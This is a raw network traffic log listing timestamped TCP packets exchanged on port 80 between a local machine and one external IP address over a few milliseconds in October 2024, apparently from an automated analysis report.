Oct 20, 2024 23:43:11.712408066 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.712419987 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.712424994 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.712430000 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.712441921 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.712444067 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.712454081 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.712462902 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.712467909 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.712477922 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.712491035 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.712491035 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.712503910 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.712516069 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.712522030 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.712533951 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.712544918 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.712555885 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.712557077 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.712569952 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.712580919 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.712585926 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.712591887 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.712605000 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.712605953 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.712618113 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.712630987 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.712631941 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.712646008 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.712651014 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.712660074 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.712671041 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.712672949 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.712687969 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.712703943 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.712716103 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.712728977 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.712743998 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.712744951 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.712757111 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.712774038 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.712796926 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.712896109 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.712908030 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.712917089 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.712928057 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.712938070 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.712944031 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.712954998 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.712965012 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.712966919 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.712980986 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.712990046 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.713006973 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.713030100 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.713171959 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.713182926 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.713188887 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.713195086 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.713207006 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.713215113 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.713221073 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.713232040 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.713238955 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.713252068 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.713260889 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.713263988 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.713277102 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.713279009 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.713287115 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.713299036 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.713303089 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.713310957 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.713324070 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.713334084 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.713351011 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.713382959 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.713388920 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.713402033 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.713413000 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.713428974 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.713442087 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.713454962 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.713530064 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.713542938 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.713552952 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.713572979 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.713573933 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.713587999 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.713587999 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.713601112 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.713612080 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.713614941 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.713624954 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.713637114 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.713644028 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.713649035 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.713663101 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.713675022 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.713691950 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.713717937 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.714083910 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.714095116 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.714106083 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.714117050 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.714129925 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.714138031 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.714140892 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.714154005 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.714158058 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.714167118 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.714180946 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.714190006 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.714190960 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.714207888 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.714215040 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.714227915 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.714229107 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.714242935 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.714248896 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.714256048 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.714270115 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.714281082 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.714282036 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.714296103 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.714306116 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.714309931 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.714319944 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.714325905 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.714337111 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.714346886 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.714351892 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.714359999 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.714374065 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.714385986 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.714406967 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.714476109 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.714493036 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.714503050 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.714514017 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.714524984 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.714529037 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.714541912 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.714548111 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.714556932 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.714576006 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.714600086 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.714618921 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.714632034 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.714665890 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.715784073 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.715795994 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.715807915 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.715826035 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.715837955 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.715837955 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.715850115 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.715858936 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.715866089 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.715874910 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.715895891 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.715919018 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.715962887 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.715975046 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.715984106 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.716002941 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.716010094 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.716015100 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.716027975 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.716033936 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.716041088 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.716053009 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.716057062 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.716064930 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.716080904 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.716099977 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.716470003 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.716483116 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.716494083 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.716506004 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.716519117 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.716525078 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.716532946 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.716538906 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.716547012 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.716559887 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.716562986 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.716578007 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.716590881 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.716592073 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.716613054 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.716614008 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.716625929 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.716629982 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.716638088 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.716650963 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.716656923 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.716665983 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.716669083 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.716680050 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.716686010 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.716698885 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.716707945 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.716711044 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.716725111 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.716741085 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.716761112 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.716784000 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.716784954 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.716798067 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.716809034 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.716823101 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.716835022 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.716835976 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.716847897 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.716860056 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.716872931 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.716882944 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.716885090 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.716897011 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.716907978 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.716908932 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.716924906 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.716928959 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.716947079 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.716964006 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.717489958 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.717502117 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.717513084 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.717533112 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.717539072 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.717545033 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.717559099 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.717562914 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.717571020 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.717582941 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.717591047 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.717597008 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.717609882 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.717616081 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.717623949 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.717633963 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.717634916 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.717647076 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.717653990 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.717660904 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.717674017 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.717680931 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.717685938 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.717700005 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.717704058 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.717711926 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.717715025 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.717725992 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.717737913 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.717747927 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.717750072 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.717763901 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.717772961 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.717793941 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.717816114 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.717989922 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.718002081 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.718012094 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.718027115 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.718035936 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.718045950 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.718060017 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.718060970 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.718070984 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.718080044 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.718086004 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.718108892 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.718108892 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.718122959 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.718135118 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.718141079 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.718146086 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.718158960 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.718169928 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.718172073 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.718183994 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.718184948 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.718195915 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.718206882 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.718208075 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.718225002 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.718229055 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.718241930 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.718250036 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.718252897 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.718266010 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.718276024 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.718281031 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.718291044 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.718293905 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.718307972 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.718316078 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.718322992 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.718336105 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.718342066 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.718363047 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.718383074 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.719099045 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.719111919 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.719122887 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.719153881 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.719170094 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.719242096 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.719255924 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.719265938 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.719278097 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.719288111 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.719299078 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.719299078 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.719314098 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.719321012 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.719326019 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.719335079 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.719341040 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.719352007 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.719362974 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.719363928 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.719388962 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.719393969 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.719404936 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.719407082 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.719418049 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.719429970 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.719438076 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.719443083 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.719455004 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.719455957 CEST	80	49708	185.215.113.37	192.168.2.11
